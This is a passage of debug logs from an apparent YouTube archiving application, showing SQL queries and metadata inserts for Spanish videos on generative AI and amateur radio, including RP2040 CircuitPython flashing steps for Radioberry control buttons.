palabra es resultón, en 2 horas quedan cosas curiosas, muy lejos de ser perfectas, pero impensables hace 12 meses!\n\nAdemás os comparto las fotos del día de los jerséis navideños que hemos hecho en la empresa.... gracias Compis!\n\ny como ya no me tenéis que ver (algunos...) hasta después de Navidad... Feliz Navidad!!!!!!!\n\ny por fa 🙏 (si quieres ayudarnos) :\n\n👐🏼 Dale a Compartir para darnos visibilidad\n ✍🏼 Escribe un comentario, opina!\n 🫶🏼 y ya la leche.... darnos un like (o no)\n 🫵🏼 y siempre .... contamos contigo\n\n✅🗃️Y dale a guardar para ver el video mas tarde si ahora no tienes tiempo, lo puedes hacer desde los tres puntos de la esquina superior derecha ▫️▫️▫️\n\n#IAMIQUE #Origen #IAGen #GenAI #Avatar #Kling #ChatGPT #ElevenLabs\n\nSigue a nuestras compañías también: \n👉🏼 ORIGEN CORPORACIÓN BIOTECH\n👉🏼 lifely by Origen Genetics", "EP 42: Videos Avatarizados y mas...", 775, false, "z4Mm-VQlqaM", "https://www.youtube.com/watch?v=z4Mm-VQlqaM", "/downloads/music/IA mí QUÉ/EP 42: Videos Avatarizados y mas....m4a", false, 2, ~U[2025-12-19 11:15:49Z]] 22:00:48.938 [debug] QUERY OK source="sources" db=0.5ms idle=205.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 22:00:48.938 [debug] QUERY OK source="media_profiles" db=0.5ms idle=4.3ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:00:48.939 [debug] QUERY OK source="media_items" db=0.4ms idle=4.3ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [1261] 22:00:48.939 [debug] Current batch of media processed. Will check again in 1000ms 22:00:48.978 [debug] Current batch of media processed. Will check again in 1000ms 22:00:49.940 [debug] Current batch of media processed. Will check again in 1000ms 22:00:49.979 [debug] Current batch of media processed. Will check again in 1000ms 22:00:50.941 [debug] Current batch of media processed. Will check again in 1000ms 22:00:50.980 [debug] Current batch of media processed. Will check again in 1000ms 22:00:51.101 [info] {"source":"oban","duration":971,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:00:51.942 [debug] Current batch of media processed. Will check again in 1000ms 22:00:51.981 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "Hoy vemos algunos articulos comprados recientemente: una punta lógica, una cámara térmica, un micrófono amplificado de mano para walkies y un libro sobre como construir tu propio transceptor.\n\nPunta logica:\n\nhttps://es.aliexpress.com/item/1005006702717275.html (2.40 euros)\n\nCamara termica:\n\nhttps://es.aliexpress.com/item/1005008509773408.html (ahora a 134 euros, la compre por menos de 100)\n\nMicrofono preamplificado y con altavoz:\n\nhttps://es.aliexpress.com/item/1005005991715127.html (20.79 euros)\n\nLibro \"Construye tu transceptor\"\n\nhttps://www.amazon.es/dp/1910193011 (12.67 euros)\n\n#\"Building your transceiver\" #retevis #puntalogica #diyelectronics #hamradio #radioaficionados\n\nLa música de la intro es un fragmento de Slighshot, de Steve Adams, en el dominio público.\nLa música de fondo es Indeep (c)2002 de Wagner García y Leonardo Segura, grabado en estudios Wagner Prat de Llobregat. Cedida para estos videos por su autor.", "duration" => 1596, "filename" => "/downloads/music/ea3grn/170 - REVISANDO LAS ÚLTIMAS COMPRAS: SONDA LOGICA, CAMARA TERMICA, MICROFONO y LIBRO.m4a", "id" => "pt7BiZKVK2o", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=pt7BiZKVK2o", "playlist_index" => 9, "timestamp" => 1763053282, "title" => "170 - REVISANDO LAS ÚLTIMAS COMPRAS: SONDA LOGICA, CAMARA TERMICA, MICROFONO y LIBRO", "upload_date" => "20251113"} 22:00:51.982 [debug] QUERY OK source="sources" db=0.5ms idle=1250.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [3] 22:00:51.983 [debug] QUERY OK source="sources" db=0.4ms queue=0.1ms idle=1251.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 22:00:51.984 [debug] QUERY OK source="media_items" db=0.7ms idle=1251.9ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-11-13 17:01:22Z], 3] 22:00:51.986 [debug] QUERY OK source="media_items" db=1.1ms idle=883.0ms INSERT INTO "media_items" AS m0 ("description","title","uuid","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Hoy vemos algunos articulos comprados recientemente: una punta lógica, una cámara térmica, un micrófono amplificado de mano para walkies y un libro sobre como construir tu propio transceptor.\n\nPunta logica:\n\nhttps://es.aliexpress.com/item/1005006702717275.html (2.40 euros)\n\nCamara termica:\n\nhttps://es.aliexpress.com/item/1005008509773408.html (ahora a 134 euros, la compre por menos de 100)\n\nMicrofono preamplificado y con altavoz:\n\nhttps://es.aliexpress.com/item/1005005991715127.html (20.79 euros)\n\nLibro \"Construye tu transceptor\"\n\nhttps://www.amazon.es/dp/1910193011 (12.67 euros)\n\n#\"Building your transceiver\" #retevis #puntalogica #diyelectronics #hamradio #radioaficionados\n\nLa música de la intro es un fragmento de Slighshot, de Steve Adams, en el dominio público.\nLa música de fondo es Indeep (c)2002 de Wagner García y Leonardo Segura, grabado en estudios Wagner Prat de Llobregat. Cedida para estos videos por su autor.", "170 - REVISANDO LAS ÚLTIMAS COMPRAS: SONDA LOGICA, CAMARA TERMICA, MICROFONO y LIBRO", "3a07904c-3bac-4ab5-94d6-29d5ee5b3657", 1596, false, "pt7BiZKVK2o", "https://www.youtube.com/watch?v=pt7BiZKVK2o", 9, "/downloads/music/ea3grn/170 - REVISANDO LAS ÚLTIMAS COMPRAS: SONDA LOGICA, CAMARA TERMICA, MICROFONO y LIBRO.m4a", false, false, false, 3, [], 98, ~U[2025-11-13 17:01:22Z], ~U[2026-02-07 21:00:51Z], ~U[2026-02-07 21:00:51Z], "Hoy vemos algunos articulos comprados recientemente: una punta lógica, una cámara térmica, un micrófono amplificado de mano para walkies y un libro sobre como construir tu propio transceptor.\n\nPunta logica:\n\nhttps://es.aliexpress.com/item/1005006702717275.html (2.40 euros)\n\nCamara termica:\n\nhttps://es.aliexpress.com/item/1005008509773408.html (ahora a 134 euros, la compre por menos de 100)\n\nMicrofono preamplificado y con altavoz:\n\nhttps://es.aliexpress.com/item/1005005991715127.html (20.79 euros)\n\nLibro \"Construye tu transceptor\"\n\nhttps://www.amazon.es/dp/1910193011 (12.67 euros)\n\n#\"Building your transceiver\" #retevis #puntalogica #diyelectronics #hamradio #radioaficionados\n\nLa música de la intro es un fragmento de Slighshot, de Steve Adams, en el dominio público.\nLa música de fondo es Indeep (c)2002 de Wagner García y Leonardo Segura, grabado en estudios Wagner Prat de Llobregat. Cedida para estos videos por su autor.", "170 - REVISANDO LAS ÚLTIMAS COMPRAS: SONDA LOGICA, CAMARA TERMICA, MICROFONO y LIBRO", 1596, false, "pt7BiZKVK2o", "https://www.youtube.com/watch?v=pt7BiZKVK2o", "/downloads/music/ea3grn/170 - REVISANDO LAS ÚLTIMAS COMPRAS: SONDA LOGICA, CAMARA TERMICA, MICROFONO y LIBRO.m4a", false, 3, ~U[2025-11-13 17:01:22Z]] 22:00:51.986 [debug] QUERY OK source="sources" db=0.3ms idle=489.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 22:00:51.987 [debug] QUERY OK source="media_profiles" db=0.4ms idle=3.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:00:51.987 [debug] QUERY OK source="media_items" db=0.3ms idle=3.8ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [1300] 22:00:51.987 [debug] Current batch of media processed. Will check again in 1000ms 22:00:52.943 [debug] Current batch of media processed. Will check again in 1000ms 22:00:52.988 [debug] Current batch of media processed. Will check again in 1000ms 22:00:53.944 [debug] Current batch of media processed. Will check again in 1000ms 22:00:53.989 [debug] Current batch of media processed. Will check again in 1000ms 22:00:54.945 [debug] Current batch of media processed. Will check again in 1000ms 22:00:54.990 [debug] Current batch of media processed. Will check again in 1000ms 22:00:55.946 [debug] Current batch of media processed. Will check again in 1000ms 22:00:55.991 [debug] Current batch of media processed. Will check again in 1000ms 22:00:56.947 [debug] Current batch of media processed. Will check again in 1000ms 22:00:56.992 [debug] Current batch of media processed. Will check again in 1000ms 22:00:57.948 [debug] Current batch of media processed. Will check again in 1000ms 22:00:57.993 [debug] Current batch of media processed. Will check again in 1000ms 22:00:58.949 [debug] Current batch of media processed. Will check again in 1000ms 22:00:58.994 [debug] Current batch of media processed. Will check again in 1000ms 22:00:59.950 [debug] Current batch of media processed. Will check again in 1000ms 22:00:59.995 [debug] Current batch of media processed. Will check again in 1000ms 22:01:00.077 [info] {"source":"oban","duration":415,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:01:00.951 [debug] Current batch of media processed. Will check again in 1000ms 22:01:00.996 [debug] Current batch of media processed. Will check again in 1000ms 22:01:01.952 [debug] Current batch of media processed. Will check again in 1000ms 22:01:01.997 [debug] Current batch of media processed. Will check again in 1000ms 22:01:02.953 [debug] Current batch of media processed. Will check again in 1000ms 22:01:02.998 [debug] Current batch of media processed. Will check again in 1000ms 22:01:03.954 [debug] Current batch of media processed. Will check again in 1000ms 22:01:03.999 [debug] Current batch of media processed. Will check again in 1000ms 22:01:04.955 [debug] Current batch of media processed. Will check again in 1000ms 22:01:05.000 [debug] Current batch of media processed. Will check again in 1000ms 22:01:05.956 [debug] Current batch of media processed. Will check again in 1000ms 22:01:06.001 [debug] Current batch of media processed. Will check again in 1000ms 22:01:06.957 [debug] Current batch of media processed. Will check again in 1000ms 22:01:07.002 [debug] Current batch of media processed. Will check again in 1000ms 22:01:07.958 [debug] Current batch of media processed. Will check again in 1000ms 22:01:08.003 [debug] Current batch of media processed. Will check again in 1000ms 22:01:08.959 [debug] Current batch of media processed. Will check again in 1000ms 22:01:09.004 [debug] Current batch of media processed. Will check again in 1000ms 22:01:09.960 [debug] Current batch of media processed. Will check again in 1000ms 22:01:10.005 [debug] Current batch of media processed. Will check again in 1000ms 22:01:10.961 [debug] Current batch of media processed. Will check again in 1000ms 22:01:11.006 [debug] Current batch of media processed. Will check again in 1000ms 22:01:11.962 [debug] Current batch of media processed. Will check again in 1000ms 22:01:12.007 [debug] Current batch of media processed. Will check again in 1000ms 22:01:12.963 [debug] Current batch of media processed. Will check again in 1000ms 22:01:13.008 [debug] Current batch of media processed. Will check again in 1000ms 22:01:13.964 [debug] Current batch of media processed. Will check again in 1000ms 22:01:14.009 [debug] Current batch of media processed. Will check again in 1000ms 22:01:14.965 [debug] Current batch of media processed. Will check again in 1000ms 22:01:15.010 [debug] Current batch of media processed. Will check again in 1000ms 22:01:15.966 [debug] Current batch of media processed. Will check again in 1000ms 22:01:16.011 [debug] Current batch of media processed. Will check again in 1000ms 22:01:16.967 [debug] Current batch of media processed. Will check again in 1000ms 22:01:17.012 [debug] Current batch of media processed. Will check again in 1000ms 22:01:17.968 [debug] Current batch of media processed. Will check again in 1000ms 22:01:18.013 [debug] Current batch of media processed. Will check again in 1000ms 22:01:18.969 [debug] Current batch of media processed. Will check again in 1000ms 22:01:19.014 [debug] Current batch of media processed. Will check again in 1000ms 22:01:19.970 [debug] Current batch of media processed. Will check again in 1000ms 22:01:20.015 [debug] Current batch of media processed. Will check again in 1000ms 22:01:20.971 [debug] Current batch of media processed. Will check again in 1000ms 22:01:21.016 [debug] Current batch of media processed. Will check again in 1000ms 22:01:21.103 [info] {"source":"oban","duration":1058,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:01:21.972 [debug] Current batch of media processed. Will check again in 1000ms 22:01:22.017 [debug] Current batch of media processed. Will check again in 1000ms 22:01:22.973 [debug] Current batch of media processed. Will check again in 1000ms 22:01:23.018 [debug] Current batch of media processed. Will check again in 1000ms 22:01:23.974 [debug] Current batch of media processed. Will check again in 1000ms 22:01:24.019 [debug] Current batch of media processed. Will check again in 1000ms 22:01:24.975 [debug] Current batch of media processed. Will check again in 1000ms 22:01:25.020 [debug] Current batch of media processed. Will check again in 1000ms 22:01:25.977 [debug] Current batch of media processed. Will check again in 1000ms 22:01:26.021 [debug] Current batch of media processed. Will check again in 1000ms 22:01:26.978 [debug] Current batch of media processed. Will check again in 1000ms 22:01:27.022 [debug] Current batch of media processed. Will check again in 1000ms 22:01:27.979 [debug] Current batch of media processed. Will check again in 1000ms 22:01:28.023 [debug] Current batch of media processed. Will check again in 1000ms 22:01:28.980 [debug] Current batch of media processed. Will check again in 1000ms 22:01:29.024 [debug] Current batch of media processed. Will check again in 1000ms 22:01:29.981 [debug] Current batch of media processed. Will check again in 1000ms 22:01:30.025 [debug] Current batch of media processed. Will check again in 1000ms 22:01:30.982 [debug] Current batch of media processed. Will check again in 1000ms 22:01:31.026 [debug] Current batch of media processed. Will check again in 1000ms 22:01:31.983 [debug] Current batch of media processed. Will check again in 1000ms 22:01:32.027 [debug] Current batch of media processed. Will check again in 1000ms 22:01:32.984 [debug] Current batch of media processed. Will check again in 1000ms 22:01:33.028 [debug] Current batch of media processed. Will check again in 1000ms 22:01:33.985 [debug] Current batch of media processed. Will check again in 1000ms 22:01:34.029 [debug] Current batch of media processed. Will check again in 1000ms 22:01:34.986 [debug] Current batch of media processed. Will check again in 1000ms 22:01:35.030 [debug] Current batch of media processed. Will check again in 1000ms 22:01:35.987 [debug] Current batch of media processed. Will check again in 1000ms 22:01:36.031 [debug] Current batch of media processed. Will check again in 1000ms 22:01:36.988 [debug] Current batch of media processed. Will check again in 1000ms 22:01:37.032 [debug] Current batch of media processed. Will check again in 1000ms 22:01:37.989 [debug] Current batch of media processed. Will check again in 1000ms 22:01:38.033 [debug] Current batch of media processed. Will check again in 1000ms 22:01:38.990 [debug] Current batch of media processed. Will check again in 1000ms 22:01:39.034 [debug] Current batch of media processed. Will check again in 1000ms 22:01:39.991 [debug] Current batch of media processed. Will check again in 1000ms 22:01:40.035 [debug] Current batch of media processed. Will check again in 1000ms 22:01:40.992 [debug] Current batch of media processed. Will check again in 1000ms 22:01:41.036 [debug] Current batch of media processed. Will check again in 1000ms 22:01:41.993 [debug] Current batch of media processed. Will check again in 1000ms 22:01:42.037 [debug] Current batch of media processed. Will check again in 1000ms 22:01:42.994 [debug] Current batch of media processed. Will check again in 1000ms 22:01:43.038 [debug] Current batch of media processed. Will check again in 1000ms 22:01:43.995 [debug] Current batch of media processed. Will check again in 1000ms 22:01:44.039 [debug] Current batch of media processed. Will check again in 1000ms 22:01:44.996 [debug] Current batch of media processed. Will check again in 1000ms 22:01:45.040 [debug] Current batch of media processed. Will check again in 1000ms 22:01:45.997 [debug] Current batch of media processed. Will check again in 1000ms 22:01:46.041 [debug] Current batch of media processed. Will check again in 1000ms 22:01:46.998 [debug] Current batch of media processed. Will check again in 1000ms 22:01:47.044 [debug] Current batch of media processed. Will check again in 1000ms 22:01:47.999 [debug] Current batch of media processed. Will check again in 1000ms 22:01:48.045 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "Gerbers y lista de componentes de la placa de VU2DLE aqui:\n\nhttps://github.com/VU2DLE/Radioberry_Console\n\nPuedes descargar las instrucciones y el soft de este enlace, o seguir las instrucciones de mas abajo:\n\nhttps://mega.nz/file/0hwTXILI#0Tl-17QZACwPHjiORWrKf3TTkAIOgfmfEb6tgOE4468\n\nInstrucciones de instalacion del software:\n\n\n- Descargamos el flash NUKE, que si hemos usado antes la rp2040 para otra cosa la deja limpia.\n\nhttps://datasheets.raspberrypi.com/soft/flash_nuke.uf2\n\nPara cargarlo, conectamos l RP2040 al ordenador manteniendo pulsado el boton y se abre una carpeta. Copiar el .UF2 dentro y se reiniciara.\n\nUna vez limpio.\n\nDescargamos el UF2 para flashear la placa:\n\nhttps://adafruit-circuit-python.s3.amazonaws.com/bin/raspberry_pi_pico/es/adafruit-circuitpython-raspberry_pi_pico-es-8.2.9.uf2\n\nY lo copiamos a la RP2040.\n\nSe reinicia y aparece como CIRCUITPY en vez de RP\n\nDescargamos CircuitPython 8.x\n\nhttps://github.com/adafruit/Adafruit_CircuitPython_Bundle/releases/download/20250213/adafruit-circuitpython-bundle-8.x-mpy-20250213.zip\n\nDel fichero adafruit-circuitpython-bundle-8.x-mpy-20250213.zip copiamos los ficheros:\n\nadafruit_matrixkeypad.mpy\ndirectorio adafruit_midi\n\nA directorio /lib de la RP2040\n\nEl fichero code.py se descarga de aqui:\n\nhttps://framagit.org/remis732/pico2040midicontroller\n\nDescargarlo y copiarlo a la RP2040 en la raiz del disco\n\nExpulsar CIRCUITPY\n\nReiniciar la placa (quitar y poner alimentación)\n\nhttps://mikatahara.github.io/SendReceive/ para probarlo seleccionamos del desplegable Pico Circuitpython usb_midi.por y al teclear o mover deben de aparecer datos\nSi es asi, esta listo para ser pinchado a la radioberry y configurar la asignacion de teclas\n\nLo pinchamos a la radioberry, en el menu MIDI seleccionamos la tarjeta. Movemos un potenciometro o pulsamos un boton y asignamos en el menu la opción correspondiente. Despues de asignar cada boton hacemos click en OK. Los cambios quedan guardados.\n\n#radioberry #rp2040 #radioaficionados #hamradio #diyelectronics #vu2dle\n\nLa música de la intro es un fragmento de Slighshot, de Steve Adams, en el dominio público.\nLa música de fondo es Indeep (c)2002 de Wagner García y Leonardo Segura, grabado en estudios Wagner Prat de Llobregat. Cedida para estos videos por su autor.", "duration" => 1791, "filename" => "/downloads/music/ea3grn/169 - BOTONES FISICOS PARA LA RADIOBERRY (O EL HERMES LITE).m4a", "id" => "tvJkeaNlm0Q", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=tvJkeaNlm0Q", "playlist_index" => 10, "timestamp" => 1761843695, "title" => "169 - BOTONES FISICOS PARA LA RADIOBERRY (O EL HERMES LITE)", "upload_date" => "20251030"} 22:01:48.045 [debug] QUERY OK source="sources" db=0.5ms idle=1313.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [3] 22:01:48.047 [debug] QUERY OK source="sources" db=0.5ms queue=0.1ms idle=444.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 22:01:48.047 [debug] QUERY OK source="media_items" db=0.6ms idle=315.4ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-10-30 17:01:35Z], 3] 22:01:48.050 [debug] QUERY OK source="media_items" db=1.6ms idle=316.4ms INSERT INTO "media_items" AS m0 ("description","title","uuid","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Gerbers y lista de componentes de la placa de VU2DLE aqui:\n\nhttps://github.com/VU2DLE/Radioberry_Console\n\nPuedes descargar las instrucciones y el soft de este enlace, o seguir las instrucciones de mas abajo:\n\nhttps://mega.nz/file/0hwTXILI#0Tl-17QZACwPHjiORWrKf3TTkAIOgfmfEb6tgOE4468\n\nInstrucciones de instalacion del software:\n\n\n- Descargamos el flash NUKE, que si hemos usado antes la rp2040 para otra cosa la deja limpia.\n\nhttps://datasheets.raspberrypi.com/soft/flash_nuke.uf2\n\nPara cargarlo, conectamos l RP2040 al ordenador manteniendo pulsado el boton y se abre una carpeta. Copiar el .UF2 dentro y se reiniciara.\n\nUna vez limpio.\n\nDescargamos el UF2 para flashear la placa:\n\nhttps://adafruit-circuit-python.s3.amazonaws.com/bin/raspberry_pi_pico/es/adafruit-circuitpython-raspberry_pi_pico-es-8.2.9.uf2\n\nY lo copiamos a la RP2040.\n\nSe reinicia y aparece como CIRCUITPY en vez de RP\n\nDescargamos CircuitPython 8.x\n\nhttps://github.com/adafruit/Adafruit_CircuitPython_Bundle/releases/download/20250213/adafruit-circuitpython-bundle-8.x-mpy-20250213.zip\n\nDel fichero adafruit-circuitpython-bundle-8.x-mpy-20250213.zip copiamos los ficheros:\n\nadafruit_matrixkeypad.mpy\ndirectorio adafruit_midi\n\nA directorio /lib de la RP2040\n\nEl fichero code.py se descarga de aqui:\n\nhttps://framagit.org/remis732/pico2040midicontroller\n\nDescargarlo y copiarlo a la RP2040 en la raiz del disco\n\nExpulsar CIRCUITPY\n\nReiniciar la placa (quitar y poner alimentación)\n\nhttps://mikatahara.github.io/SendReceive/ para probarlo seleccionamos del desplegable Pico Circuitpython usb_midi.por y al teclear o mover deben de aparecer datos\nSi es asi, esta listo para ser pinchado a la radioberry y configurar la asignacion de teclas\n\nLo pinchamos a la radioberry, en el menu MIDI seleccionamos la tarjeta. Movemos un potenciometro o pulsamos un boton y asignamos en el menu la opción correspondiente. Despues de asignar cada boton hacemos click en OK. Los cambios quedan guardados.\n\n#radioberry #rp2040 #radioaficionados #hamradio #diyelectronics #vu2dle\n\nLa música de la intro es un fragmento de Slighshot, de Steve Adams, en el dominio público.\nLa música de fondo es Indeep (c)2002 de Wagner García y Leonardo Segura, grabado en estudios Wagner Prat de Llobregat. Cedida para estos videos por su autor.", "169 - BOTONES FISICOS PARA LA RADIOBERRY (O EL HERMES LITE)", "f45b758c-c619-4086-851e-e1ee471b2511", 1791, false, "tvJkeaNlm0Q", "https://www.youtube.com/watch?v=tvJkeaNlm0Q", 10, "/downloads/music/ea3grn/169 - BOTONES FISICOS PARA LA RADIOBERRY (O EL HERMES LITE).m4a", false, false, false, 3, [], 98, ~U[2025-10-30 17:01:35Z], ~U[2026-02-07 21:01:48Z], ~U[2026-02-07 21:01:48Z], "Gerbers y lista de componentes de la placa de VU2DLE aqui:\n\nhttps://github.com/VU2DLE/Radioberry_Console\n\nPuedes descargar las instrucciones y el soft de este enlace, o seguir las instrucciones de mas abajo:\n\nhttps://mega.nz/file/0hwTXILI#0Tl-17QZACwPHjiORWrKf3TTkAIOgfmfEb6tgOE4468\n\nInstrucciones de instalacion del software:\n\n\n- Descargamos el flash NUKE, que si hemos usado antes la rp2040 para otra cosa la deja limpia.\n\nhttps://datasheets.raspberrypi.com/soft/flash_nuke.uf2\n\nPara cargarlo, conectamos l RP2040 al ordenador manteniendo pulsado el boton y se abre una carpeta. Copiar el .UF2 dentro y se reiniciara.\n\nUna vez limpio.\n\nDescargamos el UF2 para flashear la placa:\n\nhttps://adafruit-circuit-python.s3.amazonaws.com/bin/raspberry_pi_pico/es/adafruit-circuitpython-raspberry_pi_pico-es-8.2.9.uf2\n\nY lo copiamos a la RP2040.\n\nSe reinicia y aparece como CIRCUITPY en 